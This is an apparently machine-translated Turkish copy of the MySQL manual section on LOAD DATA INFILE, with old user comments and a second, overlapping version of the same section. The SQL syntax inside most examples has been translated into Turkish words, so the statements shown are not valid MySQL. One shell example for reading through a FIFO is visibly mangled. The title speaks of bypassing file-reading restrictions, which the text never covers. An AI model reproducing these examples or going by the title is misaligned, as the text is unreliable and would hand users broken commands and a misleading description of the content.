MySQL Başvuru Kılavuzu. MySQL'deki dosyaların okunmasına ilişkin kısıtlamanın aşılması PHP ve MySQL arasındaki etkileşim

VERİ DOSYASI "dosya_adı.txt"'yi TABLO'YA YÜKLE tbl_name [ "" İLE EKLENMİŞTİR] ] [(sütun_adı,...)]

LOAD DATA INFILE komutu bir metin dosyasındaki satırları okur ve bunları çok yüksek bir hızda bir tabloya ekler. LOCAL anahtar sözcüğü belirtilirse, dosya istemci ana bilgisayarından okunur. LOCAL belirtilmezse dosyanın sunucuda bulunması gerekir. (LOCAL seçeneği MySQL 3.22.6 ve sonraki sürümlerde mevcuttur.)

Okunması gereken metin dosyaları sunucuda bulunuyorsa, güvenlik nedeniyle bu dosyaların ya veritabanı dizininde bulunması ya da tüm kullanıcılar tarafından okunabilmesi gerekir. Ayrıca, sunucu dosyalarında LOAD DATA INFILE komutunu kullanmak için sunucu ana bilgisayarında FILE ayrıcalıklarına sahip olmanız gerekir. Bkz. bölüm 4.2.7 MySQL Tarafından Verilen Ayrıcalıklar.

MySQL 3.23.49 ve MySQL 4.0.2'de, mysqld arka plan programı --local-infile=0 ile başlatılırsa veya istemci LOCAL etkin değilse LOCAL komutu çalışmayacaktır. Bkz. bölüm 4.2.4 LOAD DATA LOCAL Komutuyla İlgili Güvenlik Hususları.

LOW_PRIORITY anahtar sözcüğü belirtilirse, bu LOAD DATA komutunun yürütülmesi, diğer istemciler tabloyu okumayı bitirinceye kadar ertelenecektir.

MyISAM tablolarıyla çalışırken CONCURRENT anahtar sözcüğünü belirtirseniz, diğer iş parçacıkları LOAD DATA komutu çalışırken tablodan veri alabilir. Bu özelliğin kullanılması, tabloyu aynı anda başka bir iş parçacığı kullanmasa bile, elbette LOAD DATA yürütme üzerinde hafif bir performans etkisine sahip olacaktır.

LOCAL seçeneğini kullanırken, dosya içeriğinin istemci ana bilgisayardan sunucuya taşınması gerektiğinden yürütme, sunucunun dosyalara doğrudan erişmesine izin vermekten biraz daha yavaş olabilir. Öte yandan bu durumda yerel dosyaları yüklemek için FILE ayrıcalıklarına gerek yoktur.

MySQL'in 3.23.24'ten önceki sürümlerini kullanırken, LOAD DATA INFILE komutu FIFO'dan okuyamıyor. FIFO'dan okuma yapmanız gerekiyorsa (örn. gunzip stdout), LOAD DATA LOCAL INFILE kullanmalısınız.

Veri dosyalarını mysqlimport yardımcı programını kullanarak da yükleyebilirsiniz. Bu yardımcı program, sunucuya LOAD DATA INFILE komutlarını göndererek dosyaları indirir. --local seçeneği mysqlimport'un istemci ana bilgisayardaki veri dosyalarını okumasına neden olur. Hem istemcinin hem de sunucunun veri sıkıştırma protokolünü desteklemesi durumunda, yavaş ağlarda daha iyi performans elde etmek için --compress seçeneğini belirleyebilirsiniz.

Dosyaların sunucuda bulunduğu durumlarda, sunucu aşağıdaki kurallara göre hareket eder:

  • Bir dosyanın mutlak (tam) yolu belirtilirse, sunucu bu yolu değişiklik yapmadan kullanır.
  • Bir veya daha fazla başlangıç ​​dizini belirtilerek bir dosyaya ilişkin göreceli bir yol belirtilirse, dosya, sunucunun veri dizinindeki (datadir) belirtilen dizinlere göre aranacaktır.
  • Başlangıç ​​dizinleri belirtilmeden bir dosyanın yolu verilirse, sunucu bu dosyayı kullanılan veritabanının dizininde arar.

Bundan, `./myfile.txt" olarak belirtilen bir dosyanın sunucunun veri dizininden okunduğu, `myfile.txt" olarak belirtilen bir dosyanın ise kullanılan veritabanı dizininden okunduğu anlaşılmaktadır. Örneğin, aşağıdaki LOAD DATA komutu, db1 için veritabanı dizinindeki data.txt kütüğünü okur; çünkü komut, dosyanın db2 veritabanı tablosuna yüklenmesini açıkça bildirse de, db1 geçerli veritabanıdır:

Mysql>db1 KULLANIN; mysql> "data.txt" VERİ DOSYASINI TABLOYA YÜKLE db2.my_table;

REPLACE ve IGNORE anahtar sözcükleri, aynı benzersiz anahtar değerlerine sahip mevcut kayıtların kopyaları olan giriş kayıtlarının işlenmesini denetler. REPLACE belirtirseniz, yeni satırlar mevcut satırların yerini aynı benzersiz anahtarla alacaktır. IGNORE belirtirseniz, mevcut anahtarlarla aynı benzersiz anahtara sahip olan giriş satırları atlanacaktır. Parametrelerden hiçbiri belirtilmezse, yinelenen bir anahtar değeri algılanırsa bir hata ortaya çıkar ve metin dosyasının geri kalanı göz ardı edilir.

Veriler LOCAL anahtar sözcüğü kullanılarak yerel bir dosyadan yüklenirse, sunucu bu işlemin ortasında veri aktarımını iptal edemeyecek, dolayısıyla komutun varsayılan yürütülmesi, IGNORE belirtildiğindekiyle aynı olacaktır.

Boş MyISAM tablolarında LOAD DATA INFILE kullanıldığında, benzersiz olmayan tüm dizinler ayrı bir grupta oluşturulur (ONARIM'da olduğu gibi). Bu genellikle çok sayıda dizin olduğunda LOAD DATA INFILE'ı önemli ölçüde hızlandırır.

LOAD DATA INFILE komutu SELECT ... INTO OUTFILE komutunun tamamlayıcısıdır. Bkz. bölüm 6.4.1 SELECT İfadesi Söz Dizimi. Veritabanından bir dosyaya veri yazmak için SELECT ... INTO OUTFILE komutunu kullanın. Verileri veritabanına geri okumak için LOAD DATA INFILE kullanılır. FIELDS ve LINES'ın sözdizimi her iki komutta da aynıdır. Her iki parça da isteğe bağlıdır, ancak her ikisi de belirtilirse FIELDS, LINES'tan önce gelmelidir.

FIELDS belirtilirse alt ifadelerinin her biri (TERMINATED BY, ENCLOSED BY ve ESCAPED BY) da isteğe bağlıdır, ancak bunlardan en az birinin belirtilmesi gerekir.

FIELDS ifadesi tanımlanmamışsa parametreleri varsayılan olarak aşağıdaki değerlere ayarlanır:

"\t" İLE SONLANDIRILAN ALANLAR "" İLE ÇEVRİLİR "\\" İLE KAÇIRILDI

LINES ifadesi tanımlı değilse varsayılan olarak aşağıdaki yapıya sahiptir:

SATIRLAR "\n" İLE SONLANDIRILDI

Başka bir deyişle, varsayılan ayarlarla, giriş verilerini okurken LOAD DATA INFILE komutu şu şekilde çalışacaktır:

  • Satır sonlarını `\n" karakterleri olarak bul
  • Satırları sekme karakterlerine göre alanlara ayırın.
  • Alanların tırnak karakterleri içine alınmasını beklemeyin.
  • Sekme, yeni satır veya `\" karakterinden önce gelen `\" karakterlerini alan değerinin parçası olan değişmez değerler olarak yorumlayın.

Tersine, eğer çıktı yazmak için varsayılan ayarlar geçerliyse, SELECT ... INTO OUTFILE komutu aşağıdaki gibi çalışacaktır:

  • Alanlar arasına sekme karakterleri ekleyin.
  • Alanları tırnak karakterleri arasına almayın. Alan değerleri arasında görünen sekme, yeni satır veya `\" karakterlerinin örneklerinden kaçınmak için `\" karakterlerini kullanın.
  • Her girişin sonuna yeni satırlar ekleyin.

`\" TARAFINDAN KAÇILAN ALANLAR girişinin, bir ters eğik çizgi olarak okunması gereken bir değer için iki ters eğik çizgi gerektirdiğini unutmayın.

IGNORE number LINES seçeneği, dosyanın başlangıcındaki sütun adları başlığını yok saymak için kullanılabilir:

Mysql> VERİ DOSYASINI YÜKLE "/tmp/file_name" TABLO'YA test 1 SATIRI GÖZ ÖNÜNDE BULUNDURUN;

Veritabanındaki verileri bir dosyaya okumak ve ardından dosyadan veritabanına geri dönmek için LOAD DATA INFILE ile birlikte SELECT ... INTO OUTFILE kullanıldığında, her iki komut için alan ve dize işleme seçenekleri aynı olmalıdır. Aksi halde LOAD DATA INFILE bu dosyanın içeriğini doğru şekilde yorumlayamayacaktır. SELECT ... INTO OUTFILE komutunun alanları virgülle ayrılmış bir dosyaya yazmak için kullanıldığını varsayalım:

Mysql> OUTFILE İÇİNDE "data.txt" ALANLARINI SEÇİN "," FROM ...;

Mysql> "data.txt" VERİ DOSYASINI TABLO'YA YÜKLE table2 TARAFINDAN SONLANDIRILAN ALANLAR ",";

Mysql> "data.txt" VERİ DOSYASINI TABLO'YA YÜKLE table2 "\t" TARAFINDAN SONLANDIRILAN ALANLAR;

Her giriş satırı ayrı bir alan olarak yorumlansaydı benzer bir sonuç elde edilirdi.

LOAD DATA INFILE komutu, harici kaynaklardan alınan dosyaları okumak için de kullanılabilir. Örneğin, bir dBASE veritabanı formatı dosyasındaki alanlar virgülle ayrılacak ve çift tırnak içine alınacaktır. Bu dosyadaki satırlar yeni satırlarla bitiyorsa, dosyayı yazmak için alanları ve satırları işleyen ayar seçeneklerini gösteren aşağıdaki komutu kullanabilirsiniz:

Mysql> "data.txt" VERİ DOSYASINI TABLOYA YÜKLE tbl_name ALANLAR TARAFINDAN SONLANDIRILDI, "" İLE EKLENDİ """ SATIRLAR "\n" TARAFINDAN SONLANDIRILDI;

Alanları ve dizeleri işleyen seçeneklerden herhangi biri boş dizeyi ("") belirtebilir. Eğer string boş değilse bu durumda FIELDS ENCLOSED BY ve FIELDS ESCAPED BY seçeneklerinin değerleri bir karakter içermelidir. FIELDS SONLANDIRILDI ve SATIRLAR SONLANDIRILDI seçenek değerleri birden fazla karakter içerebilir. Örneğin, ``satır başı dönüş satırı beslemesi'' çiftleriyle biten satırları yazmak için (MS DOS veya Windows metin dosyalarında olduğu gibi), şu ifadeyi belirtirsiniz: LINES TERMINATED BY "\r\n".

CREATE TABLE şakaları (bir INT NOT NULL AUTO_INCREMENT PRIMARY KEY, şaka TEXT NOT NULL); "/tmp/jokes.txt" VERİ DOSYASINI TABLO'YA YÜKLE şakalar "" TARAFINDAN SONLANDIRILAN ALANLAR; SATIRLAR "\n%%\n" İLE SONLANDIRILDI (şaka);

ALANLAR İÇEREN seçeneği, belirtilen karakterlerin içine alınan alanları kontrol eder. OPTIONALLY parametresi atlanırsa, çıktıda (SELECT ... INTO OUTFILE) tüm alanlar ENCLOSED BY içinde belirtilen karakterler içine alınacaktır. Bu tür çıktının bir örneği (alan ayırıcı olarak virgül kullanılarak) aşağıda gösterilmiştir:

"1", "bir dize", "100.20" "2", virgül içeren bir dize, "102.20" "3", \" alıntı içeren bir dize, "102.20" "4" \", alıntı ve virgül", "102.20" içeren bir dize

OPTIONALLY parametresi belirtilirse, yalnızca CHAR ve VARCHAR türündeki alanlar ECLOSED BY'de belirtilen karakterle vurgulanır:

1,"bir dize",100.20 2,"bir , virgül içeren bir dize",102.20 3,"\" tırnak işareti içeren bir dize",102.20 4,"\", tırnak işareti ve virgül içeren bir dize",102.20

Lütfen, bir alan değeri içindeki ENCLOSED BY karakterlerinin görünümünün, bu karakterlere ESCAPED BY önekinin eklenmesiyle önlendiğini unutmayın. Ayrıca, ESCAPED BY değeri boşsa, LOAD DATA INFILE ifadesinin doğru şekilde okuyamayacağı bir çıktı oluşturmanın mümkün olabileceğini unutmayın. Örneğin kaçış karakteri boş dize ise yukarıda gösterilen çıktı aşağıda gösterildiği gibi olacaktır. Dördüncü satırdaki ikinci alanın, tırnak işaretinden sonra (hatalı olarak) bu alanı sınırlandırıyor gibi görünen bir virgül içerdiğini unutmayın:

1,"bir dize",100.20 2,"bir , virgül içeren bir dize",102.20 3,"bir " alıntı içeren bir dize",102.20 4,"bir ", tırnak işareti ve virgül içeren bir dize",102.20

Giriş için, ECLOSED BY karakteri, eğer mevcutsa, alan değerlerinin her iki ucundan da kaldırılır. (Bu, OPTIONALLY parametresi belirtilsin veya belirtilmesin doğrudur; OPTIONALLY parametresi, giriş verileriyle çalışırken dikkate alınmaz.) ESCAPED BY karakterinden önce gelen bir ENCLOSED BY karakteriyle karşılaşılırsa, bu, bir ESCAPED BY karakterinin parçası olarak yorumlanır. alanın geçerli değeri. Ayrıca, bir alan içinde yer alan çift ENCLOSED BY karakterleri, eğer alanın kendisi bu karakterle başlıyorsa, tek ENCLOSED BY karakterleri olarak yorumlanır. Örneğin, ECLOSED BY """ belirtilirse tırnak işaretleri şu şekilde işlenir:

""BÜYÜK"" patron" -> "BÜYÜK" patron "BÜYÜK" patron -> "BÜYÜK" patron ""BÜYÜK"" patron -> ""BÜYÜK"" patron

KAÇAN ALANLAR seçeneği yazma veya okumayı kontrol etmek için kullanılır özel karakterler. FIELDS ESCAPED BY karakteri boş değilse, çıktıda aşağıdaki karakterler için önek olarak kullanılır:

  • sembolüyle KAÇILAN ALANLAR
  • EKLENEN ALANLAR sembolü
  • ALANLAR SONLANDIRILDI ve SATIRLAR SONLANDIRILDI değerlerinin ilk karakteri
  • ASCII karakter 0 (aslında ASCII `0", sıfır değerli bir bayt değil, kaçış karakterinden sonra yazılır)

ALANLAR KAÇTI karakteri boşsa, hiçbir karakterin kaçışı yapılmaz. Aslında, özellikle işlenmekte olan verilerdeki alan değerleri yukarıdaki listede yer alan karakterlerden herhangi birini içeriyorsa, boş bir kaçış karakteri belirtmenin bir anlamı yoktur.

FIELDS ESCAPED BY karakteri boş değilse, giriş verisi durumunda, böyle bir karakterin geçtiği yerler kaldırılır ve böyle bir oluşumu takip eden karakter, kelimenin tam anlamıyla alan değerinin bir parçası olarak alınır. İstisnalar, `0" veya `N" ile önlenir (örneğin, çıkış karakteri `\" ise \0 veya \N). Bu diziler ASCII 0 (boş değer baytı) ve NULL olarak yorumlanır. NULL değerini işleme kurallarına bakın altında .

Daha fazla almak için full bilgi`\" kaçış karakterinin söz dizimi için bkz. bölüm 6.1.1 Değişmez Değerler: Dizeleri ve Sayıları Temsil Etmek.

Bazı durumlarda alan ve satır işleme seçenekleri etkileşim halindedir:

  • LINES TERMINATED BY boş dizeyse ve FIELDS TERMINATED BY boş dize değilse, satırlar aynı zamanda FIELDS TERMINATED BY karakterleriyle de biter.
  • Hem SONLANDIRILAN ALANLAR hem de EKLENEN ALANLAR boşsa (""), sabit dize biçimi (sınırlayıcı yok) kullanılır. Sabit hat formatı alanlar arasında herhangi bir ayırıcı sağlamaz. Bunun yerine sütun değerlerini okurken ve yazarken sütunların “çıkış” genişliği kullanılır. Örneğin bir sütun INT(7) olarak bildirilmişse o sütuna ait değerler 7 karakterlik geniş alanlar kullanılarak yazılır. Bu sütuna ait giriş değerleri 7 karakter okunarak elde edilir. Sabit dize formatı aynı zamanda NULL değerlerinin işlenmesini de etkiler (aşağıya bakın). Çok baytlı bir karakter seti kullanıldığında sabit boyutlu formatın çalışmayacağını unutmayın.

NULL değerleri, kullanılan ALANLAR ve HATLAR seçeneklerine bağlı olarak farklı şekilde ele alınacaktır:

  • Varsayılan FIELDS ve LINES değerleri için NULL, çıktı için \N olarak yazılır ve \N, giriş için NULL olarak okunur (ESCAPED BY karakterinin `\" olduğu varsayılarak).
  • FIELDS ENCLOSED BY boş değilse, değeri NULL harfli bir kelime olan bir alan, NULL değeri olarak okunur ("NULL" dizesi olarak okunan FIELDS ENCLOSED BY karakterleri arasına alınmış NULL kelimesinin aksine).
  • FIELDS ESCAPED BY boşsa, NULL kelimesi NULL olarak yazılır.
  • Sabit dize biçiminde (hem FIELDS TERMINATED BY hem de FIELDS ENCLOSED BY belirticileri boşsa oluşur), NULL boş dize olarak yazılır. Bunun, belirli bir tablodaki bir NULL değerinin ve boş bir dizenin, bir dosyaya yazıldığında ayırt edilemez olmasına neden olduğunu unutmayın; çünkü her ikisi de boş dizeler olarak yazılır. Dosya geri okunduğunda bu değerlerin farklı olmasını istiyorsanız sabit hat formatını kullanmamalısınız.

LOAD DATA INFILE deyimi tarafından desteklenmeyen bazı durumlar:

  • Sabit boyutlu satırlar (SONLANDIRILAN ALANLAR ve EKLENEN ALANLAR boştur) ve BLOB veya TEXT sütunları.
  • Başka bir sınırlayıcıyla aynı veya onun öneki olan bir sınırlayıcı belirtilirse, LOAD DATA INFILE girişi doğru şekilde yorumlayamayacaktır. Örneğin, aşağıdaki FIELDS ifadesi sorunlara neden olabilir: FIELDS SONLANDIRILMIŞ BY """ ENCLOSED BY """
  • FIELDS ESCAPED BY seçeneği boşsa, bir alan değerinde FIELDS ENCLOSED BY veya LINES TERMINATED BY karakterinin ve ardından bir FIELDS TERMINATED BY karakterinin bulunması, LOAD DATA INFILE komutunun alanı veya satırı okumayı zamanından önce sonlandırmasına neden olur. Bunun nedeni LOAD DATA INFILE'ın alanın veya satırın nerede bittiğini doğru şekilde belirleyememesidir.

Aşağıdaki örnek, kişi verileri tablosunun tüm sütunlarını yükler:

Mysql> "persondata.txt" VERİ DOSYASINI TABLO'ya YÜKLE kişisel veri;

Alan listesi belirtilmediğinden, LOAD DATA INFILE komutu giriş satırlarının tablonun her sütununu doldurmasını bekler. Bu, varsayılan FIELDS ve LINES değerlerini kullanır.

Tablo sütunlarının yalnızca bir kısmını yüklemek istiyorsanız bir sütun listesi belirtmeniz gerekir:

Mysql> VERİ DOSYASINI "persondata.txt" TABLOSUNA YÜKLE kişisel veriler (col1,col2,...);

Giriş dosyasındaki alanların sırasının bu tablodaki sütunların sırasından farklı olduğu durumlarda da alan listesi belirtilmelidir. Aksi takdirde MySQL, giriş alanları ve tablo sütunlarını eşleştiremeyecektir.

Bir satırda çok az alan varsa, giriş dosyasında alan bulunmayan sütunlar varsayılan değerlerine ayarlanır. Varsayılan değerlerin atanması 6.5.3 CREATE TABLE İfadesi Sözdizimi bölümünde açıklanmaktadır.

Boş bir alanın değeri, hiçbir değerin olmamasından farklı şekilde yorumlanır:

  • Dize türleri için sütun, boş dizeye ayarlanır.
  • Sayısal türler için sütun 0 olarak ayarlanır.
  • Tarih ve saat türleri için sütun, bu türün karşılık gelen değeri olan ``null''a ayarlanır. Bkz. bölüm 6.2.2 Tarih ve Saat Veri Türleri.

Bunların, bir INSERT veya UPDATE komutunda dize, sayısal veya tarih/saat sütunlarına açıkça boş bir dize atamanın bir sonucu olarak bir sütunda sonuçlanacak değerlerle aynı olduğunu unutmayın.

TIMESTAMP türündeki sütunlar, sütun NULL olarak ayarlanmışsa veya (yalnızca ilk TIMESTAMP sütunu için) TIMESTAMP sütunu alan listesinin dışındaysa (böyle bir liste belirtilmişse) yalnızca geçerli tarih veya saate ayarlanır.

Giriş dizesinde çok fazla alan varsa, fazladan alanlar göz ardı edilecek ve uyarı sayısı artacaktır.

LOAD DATA INFILE komutu tüm girdileri dize olarak yorumlar, dolayısıyla ENUM veya SET sütunları için sayısal değerleri INSERT komutlarıyla aynı şekilde belirtemezsiniz. Tüm ENUM ve SET değerleri string olarak belirtilmelidir!

C API'yi kullanırken, sorgunun sonundaki LOAD DATA INFILE işlevini çağırarak mysql_info() API işlevini çağırarak sorgu bilgilerini elde edebilirsiniz. Bu duruma ilişkin bilgi satırının formatı aşağıda gösterilmiştir:

Kayıtlar: 1 Silindi: 0 Atlandı: 0 Uyarılar: 0

Uyarılar, bir INSERT komutuyla değer yazarkenkiyle aynı koşullar altında verilir (bkz. bölüm 6.4.3 INSERT İfadesi Sözdizimi), ancak LOAD DATA INFILE komutunun giriş dizesinde çok az veya çok fazla alan olduğunda ek olarak uyarılar oluşturması dışında. Uyarılar hiçbir yerde saklanmaz; Uyarı sayısı yalnızca belirtilen eylemlerin normal şekilde tamamlanıp tamamlanmadığını kontrol etmek için kullanılabilir. Uyarılara tam olarak neyin sebep olduğunu bilmek istiyorsanız, başka bir dosyada SELECT ... INTO OUTFILE komutunu çalıştırmak ve sonucu orijinal giriş dosyasıyla karşılaştırmak, bu bilgiyi almanın tek yoludur.

Bir kanaldan okumak için LOAD DATA yapmanız gerekiyorsa aşağıdaki hileyi kullanabilirsiniz:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "VERİ DOSYASINI "x" TABLO x'E YÜKLE" x

3.23.25'ten daha eski bir MySQL sürümü kullanıldığında, yukarıdakiler yalnızca LOAD DATA LOCAL INFILE ile yapılabilir.

Daha fazla almak için detaylı bilgi LOAD DATA INFILE ile karşılaştırıldığında INSERT'in etkinliği ve LOAD DATA INFILE'ın hızı hakkında bilgi için bölüm 5.2.9 INSERT sorgularının hızına bakın.

Kullanıcı Yorumları

Jason Titus tarafından paylaşıldı[Sil] [Düzenle]

"Uyarılar hiçbir yerde saklanmaz; uyarıların sayısı yalnızca
her şeyin yolunda gittiğinin göstergesi"

Benimle dalga geçiyor olmalısın. Bu bir çeşit DBA cezası olarak mı yapılıyor? yani. - Biz
Sorunların ne olduğunu BİLİYORSUNUZ, ancak yalnızca bir çıktı dosyası oluşturup içine bakmanız gerekecek
onları bulmak için milyonlarca kaydınız". MySQL bunları hata günlüğüne koymadı mı?
nereye aitler? Devam edin ve bunu bir seçenek haline getirin, ancak bu yeterince sorun
Oracle'a geri dönüyorum (ve bu çok zaman alıyor).

Campbell tarafından 17 Mayıs 2002 Cuma, @6:24'te gönderildi[Sil] [Düzenle]

İkincisi. (!) Nasılsın anlamıyorum
Bu cümleyi düz bir yüzle yazın.

Jonathon Padfield tarafından 17 Mayıs 2002 Cuma günü saat 6:24'te gönderildi[Sil] [Düzenle]

Ayrıca hangi satırların atlandığına dair bilgi yok
verilmiş.

17 Mayıs 2002 Cuma, @6:24'te gönderildi[Sil] [Düzenle]

Bu özellik bir e-posta gönderirken çok kullanışlıdır.
Bir web sayfasından INSERT. Kullanıcı vurursa
form verilerini yeniler ve yeniden gönderir; bu da
aynı birincil anahtar verisinin sonraki INSERT'i,
bum, uygulama bozuluyor. Bu şekilde kullanıcı şunları yapabilir:
yüzleri maviye dönene kadar F5'e basın ve
REPLACE ifadesini bozmaz.

[Sil] [Düzenle]

c:\mysql\data konumunda bir MyDB klasörüm var
Oraya Data.txt dosyasını yerleştiriyorum ve çalıştırdığımda
VERİ YEREL DOSYASI "Data.txt"'yi TABLOYA YÜKLEYİN
MyTable'da şöyle yazıyor: Komut başarıyla yürütüldü
ancak MyTable'a HİÇBİR değer eklenmez.
W2K altındayım

van hoof philip tarafından 17 Mayıs 2002 Cuma günü @6:24'te gönderildi[Sil] [Düzenle]

Veritabanımı başka biriyle senkronize etmek istiyorum
zaman zaman veritabanı. Bu şu anlama geliyor:
DEĞİŞTİR özelliğini kullanmak zorunda kalacaksınız. Ama ne hakkında
yeni sürümde artık mevcut olmayan kayıtlar
veri tabanı. MySQL'de silinecekler mi?
Bunları otomatik olarak silmenin bir yolu var mı? Yoksa
MySQL tablomu bırakıp yeniden yaratmanın tek çözümü
LOAD"ing işlemine başlamadan önce. Crontab kullanıyorum
bu işlem için komut dosyaları olduğundan insan etkileşimi yoktur
Bu işlemler sırasında mümkündür.

17 Mayıs 2002 Cuma, @6:24'te gönderildi[Sil] [Düzenle]

Belgelerin ne olduğu belirsiz
bu alanda "benzersiz" bir anahtar/dizin oluşturur. BT
"Ekle"ye geri başvuru yapılıyor ancak ekleme yapılmıyor
böyle bir kısıtlama var. Bunu birincil olarak buldum
anahtarlar yeterince benzersiz, ancak şunu eklemek zorunda kaldım:
istemediğim ön seçimler. Belki de ben
bir şeyler eksik....

17 Mayıs 2002 Cuma, @6:24'te gönderildi[Sil] [Düzenle]

Birisi olduğunda uyarı almak çok sinir bozucu
Verileri MySQL veritabanına aktarmak ve
uyarılara ilişkin her türlü bilgiye ulaşılabilmektedir.
MySQL'in gerçekten bunu sağlayacak bir özellik eklemesi gerekiyor
Bir uyarının sadece ne HAKKINDA olduğunu bildirin
bir uyarı bildirin. İdeal olarak, ilgili bilgiler
uyarının derhal yapılması gerekmektedir. Şu tarihte:
en azından bir tür hata günlüğü olmalıdır
Kullanıcının erişebileceği şekilde oluşturulmuştur.

17 Mayıs 2002 Cuma, @6:24'te gönderildi[Sil] [Düzenle]

"Yüzleri maviye dönene kadar F5" konusuna gelince...

Bu durum başvuruda ele alınmalıdır. BT
kullanıcıya "Sen" demenin kesinlikle zararı olmaz
buna zaten girildi. Lütfen yenilemeyi bırakın."

Aslında aşırı sabırsızların sayısı yüzünden
Lusers orada, bu özellikle gibi görünüyor
İyi bir fikir.

Larry Irwin tarafından 20 Ağustos 2002 Salı, saat 11:50'de gönderildi[Sil] [Düzenle]

Ek bir seçeneğe sahip olmak çok faydalı olacaktır
yükleme sırasında "KISITLAMALARI GÖZALDI"
işlem.

Yazan: 5 Eylül 2002 Perşembe, @1:34[Sil] [Düzenle]

"Boş bir MyISAM masasında, hepsi
benzersiz olmayan dizinler ayrı bir grupta oluşturulur"
kullanılan mekanizma bir "onarım" olduğundan
Çok sayıda anahtar önbelleğiniz varsa çok yavaş olabilir
indeksler. Gerçekten mekanizmayı kullanmak gerekiyor
anahtarların oluşturulmasını durdurun ve ardından onarımı şununla yapın:
myisamchk'ta açıklandığı gibi "sıralamayla onarım" kullanılıyor
bölüm 5.2.9 (eğer yapabilirsiniz işe koyulalım :-()

Yazan: 9 Ekim 2002 Çarşamba, @12:43[

Sözdizimi VERİ DOSYASINI YÜKLE

VERİ DOSYASINI YÜKLE" dosya adı. txt" TABLOYA Tablo ismi
[TARAFINDAN ÇEVRELENEN "]
]
]
[(sütun adı,...)]
LOAD DATA INFILE ifadesi bir metin dosyasındaki satırları okur ve bunları çok yüksek bir hızda bir tabloya yükler.
Veri dosyalarını MySQL içe aktarma yardımcı programını kullanarak da yükleyebilirsiniz. Sunucuya LOAD data INFILE ifadesi gönderilerek çalışır. --local seçeneği, mysqlimport yardımcı programının veri dosyasını istemci ana bilgisayarından okumasına neden olur. İstemci ve sunucu sıkıştırılmış protokolü destekliyorsa, yavaş ağlarda performansı artırmak için -compress seçeneğini belirleyebilirsiniz.
LOW_PRIORITY anahtar sözcüğü belirtilirse, LOAD DATA ifadesinin yürütülmesi, diğer tüm istemciler okumayı tamamlayana kadar ertelenir.
CONCURRENT anahtar sözcüğü, eşzamanlı ekleme koşulunu karşılayan (yani dosyanın ortasında boş blok bulunmayan) bir MyISAM tablosuyla belirtilirse, diğer iş parçacıkları LOAD ile aynı anda tablodan veri alabilecektir. DATA gerçekleştirilir. Bu seçeneğin kullanılması, tabloda başka bir iş parçacığı çalışmasa bile, VERİ YÜKLEME üzerinde hafif bir performans etkisine sahiptir.
LOCAL anahtar sözcüğü belirtilirse bağlantının istemci tarafını etkiler.

  1. LOCAL belirtilirse, dosya istemci ana bilgisayardaki istemci programı tarafından okunur ve sunucuya gönderilir.
  2. LOCAL kelimesi belirtilmemişse, indirilen dosyanın sunucu ana bilgisayarında bulunması ve doğrudan sunucu tarafından okunması gerekir.

LOCAL, MySQL 3.22.6 ve sonrasında mevcuttur.
Güvenlik nedeniyle, sunucuda bulunan metin dosyalarını okurken, dosyaların ya veri dizininde bulunması ya da herkes tarafından okunabilir olması gerekir. Ayrıca, LOAD DATA'yı sunucu dosyalarıyla kullanmak için FILE ayrıcalığına sahip olmanız gerekir.
LOCAL seçeneğiyle indirme işlemi, sunucuya indirilen dosyalara doğrudan erişme yeteneği verdiğinizde olduğundan biraz daha yavaştır çünkü bu durumda dosyaların içerikleri, istemci-sunucu bağlantısı aracılığıyla ağ üzerinden aktarılır. Öte yandan bu durumda FILE ayrıcalıklarına ihtiyacınız yoktur.
MySQL 3.23.49 ve MySQL 4.0.2'den (Windows'ta 4.0.13) beri, LOCAL yalnızca hem istemci hem de sunucu buna izin verdiğinde çalışır. Örneğin mysqld -local-inf ile=0 seçeneğiyle başlatılırsa LOCAL çalışmayacaktır.

LOAD DATA kullanarak bir program kanalından okuma yapmanız gerekiyorsa aşağıdaki tekniği kullanabilirsiniz:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kedi< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "VERİ DOSYASINI "x1 TABLO x'E YÜKLE" x
3.23.25'ten önceki bir MySQL sürümüyle çalışıyorsanız, bu teknik yalnızca LOAD DATA LOCAL INFILE ile kullanılabilir.
3.23.24'ten önceki bir MySQL sürümünüz varsa, LOAD DATA INFILE ifadesini kullanarak FIFO'dan okuma yapamazsınız. FIFO'dan okuma yapmanız gerekiyorsa (örn. gunzip çıktısından), bunun yerine LOAD DATA LOCAL INFILE'ı kullanın.
Dosya sisteminde bir dosya ararken sunucu aşağıdaki kurallara göre yönlendirilir:

  1. Mutlak bir yol verilirse sunucu onu olduğu gibi kullanır.
  2. Bir veya daha fazla öncü bileşene sahip göreceli bir yol belirtilirse, sunucu, dosyaları kendi veri dizinine göre arar.
  3. Başta yol bileşenleri olmayan bir dosya adı belirtilirse, sunucu dosyayı varsayılan veritabanı veri dizininde arar.

Bu kuralların, ./dosyam.txt adlı bir dosyanın sunucunun veri dizininden okunduğunu, dosyam,txt adlı bir dosyanın ise varsayılan veritabanı veri dizininden okunduğunu ima ettiğini unutmayın. Örneğin, aşağıdaki LOAD DATA INFILE deyimi, dbl'nin veri dizininden data.txt dosyasını okur çünkü deyim db2'ye veri yüklüyor olsa da dbl geçerli veritabanıdır:
mysql>KULLAN dbl;
mysql> "data.txt" VERİ DOSYASINI TABLOYA YÜKLE db2.my_table;
REPLACE ve IGNORE anahtar sözcükleri denetimi, değerdeki mevcut benzersiz anahtarları çoğaltan giriş dizeleriyle çalışır.
REPLACE belirtilirse, giriş satırları mevcut satırların (başka bir deyişle, tablodaki mevcut satırlarla aynı birincil veya benzersiz anahtar değerlerine sahip satırların) yerini alır. Bkz. DEĞİŞTİR Söz Dizimi
IGNORE belirtilirse aynı birincil veya benzersiz anahtar değerlerine sahip mevcut satırların kopyaları olan giriş satırları atlanır. Her iki seçenek de belirtilmezse davranış, yerel anahtar kelimenin belirtilip belirtilmemesine bağlıdır. LOCAL mevcut değilse, yinelenen bir anahtar algılanırsa bir hata oluşturulur ve metin dosyasının geri kalanı göz ardı edilir. LOCAL mevcutsa, varsayılan davranış, IGNORE'un belirtilmiş olmasıyla aynıdır. Bunun nedeni, işlem devam ederken sunucunun dosya aktarımını durduramamasıdır.
Veri yükleme işlemi sırasında yabancı anahtar kısıtlamalarını göz ardı etmek istiyorsanız LOAD DATA'yı çalıştırmadan önce SET FOREIGN_KEY_CHECKS=0 ifadesini kullanabilirsiniz.
